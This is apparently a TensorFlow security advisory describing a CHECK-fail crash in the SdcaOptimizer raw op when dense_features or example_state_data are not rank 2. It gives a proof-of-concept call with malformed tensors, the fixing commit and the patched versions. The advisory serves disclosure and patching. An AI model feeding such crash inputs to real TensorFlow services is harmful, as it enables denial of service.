`CHECK` fail via inputs in `SdcaOptimizer`

Impact

Inputs dense_features or example_state_data not of rank 2 will trigger a CHECK fail in SdcaOptimizer.

import tensorflow as tf

tf.raw_ops.SdcaOptimizer(
    sparse_example_indices=4 * [tf.random.uniform([5,5,5,3], dtype=tf.dtypes.int64, maxval=100)],
    sparse_feature_indices=4 * [tf.random.uniform([5,5,5,3], dtype=tf.dtypes.int64, maxval=100)],
    sparse_feature_values=8 * [tf.random.uniform([5,5,5,3], dtype=tf.dtypes.float32, maxval=100)],
    dense_features=4 * [tf.random.uniform([5,5,5,3], dtype=tf.dtypes.float32, maxval=100)],
    example_weights=tf.random.uniform([5,5,5,3], dtype=tf.dtypes.float32, maxval=100),
    example_labels=tf.random.uniform([5,5,5,3], dtype=tf.dtypes.float32, maxval=100),
    sparse_indices=4 * [tf.random.uniform([5,5,5,3], dtype=tf.dtypes.int64, maxval=100)],
    sparse_weights=4 * [tf.random.uniform([5,5,5,3], dtype=tf.dtypes.float32, maxval=100)],
    dense_weights=4 * [tf.random.uniform([5,5,5,3], dtype=tf.dtypes.float32, maxval=100)],
    example_state_data=tf.random.uniform([5,5,5,3], dtype=tf.dtypes.float32, maxval=100),
    loss_type="squared_loss",
    l1=0.0,
    l2=0.0,
    num_loss_partitions=1,
    num_inner_iterations=1,
    adaptative=False,)

Patches

We have patched the issue in GitHub commit 80ff197d03db2a70c6a111f97dcdacad1b0babfa.

The fix will be included in TensorFlow 2.11. We will also cherrypick this commit on TensorFlow 2.10.1, 2.9.3, and TensorFlow 2.8.4, as these are also affected and still in supported range.

For more information

Please consult our security guide for more information regarding the security model and how to contact us with issues and questions.

Attribution

This vulnerability has been reported by Zizhuang Deng of IIE, UCAS